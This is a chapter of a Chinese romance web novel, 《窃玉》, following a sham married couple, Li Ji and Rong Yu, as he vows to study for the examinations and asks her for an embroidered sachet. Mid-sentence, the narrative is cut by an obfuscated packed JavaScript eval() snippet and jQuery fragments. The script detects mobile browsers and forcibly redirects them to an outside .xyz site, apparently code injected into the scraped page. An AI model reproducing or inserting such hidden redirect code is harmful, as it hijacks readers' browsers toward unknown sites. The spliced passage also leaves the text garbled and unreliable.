14.第十四章
作品:《窃玉》 李稷先前与容玉有约,平日宿在书房,但为防止旁人起疑,每个月要回主屋住一次。
前些天回门正赶上月初,两人从容府回来后,便一块在主屋里歇了,容玉原以为这个月的“共寝”任务已是圆满,是以听得李稷这番请求,有些讶异。
“书房固然清净,但床榻太小,睡起来总是逼仄。夫人向来体贴,容我回主屋安睡一宿,可否?”
李稷看她不语,解释了几句,说话时,眉轩目朗,又是那副专注看人的姿态,端的是一派无辜。
容玉想起他上次睡脚踏的窘态,知晓他睡姿放浪,搁小床上自是睡不舒坦的,考虑到他已“委屈”多日,便也没有拒绝,点了点头。
“谢夫人恩典。”李稷登时站起来,满意地走了。
*
丫鬟们见李稷回来,眼明心亮,各自忙开来,烧水的烧水,铺床的铺床。亥时,小夫妻俩相继洗浴完,容玉屏退丫鬟,没留人值夜,关上房门后,踅进里间。
“今夜你睡床,我在外面的小榻上安置。”
李稷披散着半干的长发,站在橱柜前找东西,闻言头也不回,只反问道:“我不能跟你睡在一块吗?”
容玉一震,差点没反应过来:“可你我……”
“睡在一块而已,又不行周公礼。”李稷取出一方雪白的绉纱手巾,盖在头上,擦着头发转过来,眉眼亮得似黑曜石,“不妥吗?”
容玉不知他这话是怎样问出口的,若是睡在一块都无不妥了,还做什么假夫妻?再者,光凭他睡着后那一派龙腾虎跃的气势,纵使不是假夫妻,她也心有戚戚啊。
“你有些时日没回来住了,还是一个人睡舒服些。”
“我跟你睡,也很舒服。”李稷脸不红心不跳,走过来问,“你不舒服?”
容玉脸颊烧得绯红,突然发现他站在面前,鼻端被他身上沐浴后的澡豆清香侵占,慌忙后退一步。
李稷看见她躲开,眼梢闪过失落,苦笑道:“罢了,看来上次是叫你不舒服了。”
语毕,仍是擦着头发,径自走去红木海棠花围拔步床前,拿了个枕头往外间走,瞧着是要独自去睡小榻的架势。
容玉拦住他:“你这是做甚?”
“夫人嫌我,不愿同我睡,”他松开手,一方绉纱手巾盖在头上,眉眼湿气氤氲,整个人多了分落拓,“我只好自己睡了。”
容玉颦眉,心道他既是嫌书房的榻小才回来,再跑去外间睡小榻,与留宿在书房何异?弄成这般,难不成是非要与她同床?
“你先把头发绞干,这样子上床,留神头疼。”容玉拿走他怀里的枕头放回床上,心头打鼓,越发看不准他的心思。
李稷不吱声,坐回床上,伸手绞着头发,唇角藏在绉纱手巾底下,缓缓勾起来。
容玉走去紫檀木五屏风式凤纹镜台前坐下,拆掉发钗,乌发披散下来,瀑布似的,衬得眉眼更鲜明灵动。她低头梳发,间或通过镜子偷瞄李稷,看见他坐在床头,歪头绞发,安安静静的,模样居然有些乖顺。
今夜回来,究竟是要睡大床,还是要跟她睡?
容玉喉咙顶着这疑问,多想问出来,又实在难以启齿。她不像他,脸厚如墙,满嘴没羞没臊的话。
纠结良久,拔步床那头传来动静,李稷已将绉纱手巾晾在衣桁上,捋了两下头发,往镜台走来,想是要拿梳子。
容玉递给他,起身让出绣墩给他坐,却被他按住。他拿了木梳,转身坐在镜台边角,微微俯身,看着她道:“夫人上次说,和离以后不想与子初在一起,可是因为他并非你意中人?”
容玉听他突然提起这茬,更是思绪纷飞,含糊道:“嗯。”
李稷转着木梳,道:“我原以为你们两小无猜,情投意合呢。”
“你误会了。”
李稷抬眼,黑亮瞳仁映出她含羞的脸庞,道:“那夫人有心仪的郎君吗?”
“没有。”
“子初才学出众,兄长也是博学之人,夫人以后若择良人,想来也是会倾向于这样的儿郎吧?”
容玉愈发弄不懂他的用意,听他又一次提起和离,忽觉刺耳,道:“总问这些做什么?”
“没什么,随口问问。夫人蕙质兰心,自然该配名门才子,像我这样的,总归是辱没了你。”
他满嘴自轻自贱,看似玩笑,却令容玉心头一梗,诸多复杂情绪齐涌上来:“为何要这般妄自菲薄?你年少成名,天资过人,秉性也并不差,若非贪玩成性,荒废学业,又岂会遭人诟病?如今春闱在即,你潜心备考,奋力一搏,届时高中,自然也是万众瞩目。那些所谓的名门才子,又何以能压你一头?”
李稷心神震动,少顷才道:“夫人当真相信我可以高中?”
容玉也不知哪儿来的底气,脱口道:“自然。”
李稷眼不错睫地盯着她,良久道:“那若是我能高中,从‘遭人诟病’变成‘万众瞩目’,夫人可会对我青眼有加?”
容玉怔忪。
“会吗?”李稷俯下身,凑近她眼前,那双黑亮的桃花眼钩子似的,要打捞出一个确切的答案。
容玉呼吸一顿,睫毛乱闪,不再看他,只道:“会。”
李稷唇角漾开一笑,梨涡极深,他蓦地站起来,长发荡过容玉脸颊,意气风发道:“今夜月色明朗,不潜心夜读,实乃浪费。夫人先睡,待我温完功课,再来休息!”
容玉睁大眼睛,却见他说一不二,气势十足地往外走,边走边道:“秉烛,我要读书!”
*
“什么?他要读书?!”
次日,养心阁内春意盎然,明仪长公主拿开凑至嘴边的茶盅,满眼惊喜。
容玉坐在下首点头:“正是。夫君说,万岁爷下了口谕,要他用功名换爵位。这些年来,他耽于嬉戏,虚掷光阴,如今想来懊悔不跌,所以决心发奋苦读,只待下月春闱挣个好名次。”
“当真?没有哄人?”明仪长公主且信且疑,手都要抖起来,赶紧放下茶盅,“自打侯爷撒手后,那孽障像中了邪一样,整日里斗鸡走马,不务正业,专与那些狐朋狗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300937|182579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
友厮混。亏得有了你,才知道收些性子。儿媳呀,此番他若真能痛改前非,走回正道,你便是我们府上的大恩人了!”
“母亲言重了。”容玉口中谦让,心下则留意起李稷的事来。他天资不凡,瞧着也不像狼心狗肺之辈,何以在公爹逝世后突然堕落?这里头莫不是有什么内情?
念头既起,容玉便多问了一嘴,奈何明仪长公主支支吾吾,竟也答不上什么来,只道他交友不慎,误入歧途云云。
离开养心阁,容玉返回梦风园,因记挂着李稷,便先往书房走一趟。今日天朗气清,后罩房檐下的一爿潇湘竹郁郁葱葱,被风吹得沙沙作响,在支起的支摘窗上投落深浅参差的剪影。
容玉屏退青穗,悄步行至窗外,偷偷往里张望,看见李稷坐在案前读书,心里松了口气,走去正前头叩门。
“进。”
李稷等她进来,眼没移开书本,道:“还以为夫人要翻窗来见我呢。”
容玉窘道:“你瞧见了?”
“没有。夫人的脚步声我识得,听见了。”
容玉心道好生厉害的耳力,走去他跟前,又往他手里的书瞄了一眼,确信是在看《十三经注疏》,没掺假。
李稷好笑,往椅背上靠,伸手把书往脸上一放,挡住大半张脸,问道:“夫人今日要考一考我吗?”
“你是想要我考你,还是想要奖赏?”既然知道他的德行,便也没必要绕圈子了,容玉直截了当道。
“看书无趣,你不考考我,我会没兴头。当然,若有奖赏,那自然是更好。”
“你这次又想要什么?”
李稷书本盖在鼻梁上,睫毛垂下来,浓匝匝的,像是盛夏树荫盖过清泉。他道:“夫人女红如何?”
“尚可。”
“春困秋乏。这个时节温书,总是犯困,不如夫人给我做个醒神的香囊?”
容玉倒没想到他会要这个。难是不难,而且跟与他同床相比,简直九牛一毛。
“可以。”
“我想要个黄色的。”
“好。”
“绣一朵栀子花。”
“没问题。”
“我喜欢夫人身上的香气,香囊上能有这样的香吗?”
容玉一怔,心想他果然吐不出几句正经话。她都说了,她从来不用香料,身上的气味是天生的,如何能弄到香囊上去?再说,她的气味也没有醒神的功效吧?
“不能。”她闷声道。
“那就算了。”李稷眼眸微弯,认真道,“黄色香囊,绣白色栀子花,夫人记得别绣错了。”
“知道了。”
容玉心想这样简单的花样,能出什么错?都不用绣,那样式已在她脑海里鲜活地浮现出来了。
走回主屋,容玉跟青穗要来绣篮,剪开一片鹅黄绸布铺开,描画花样。青穗凑头来看,道:“这花样好眼熟啊。”
容玉也感觉越看越熟悉。
青穗歪着脑袋,又看半晌,道:“姑娘,这不就是您爱穿的那件兜肚上的花样吗?”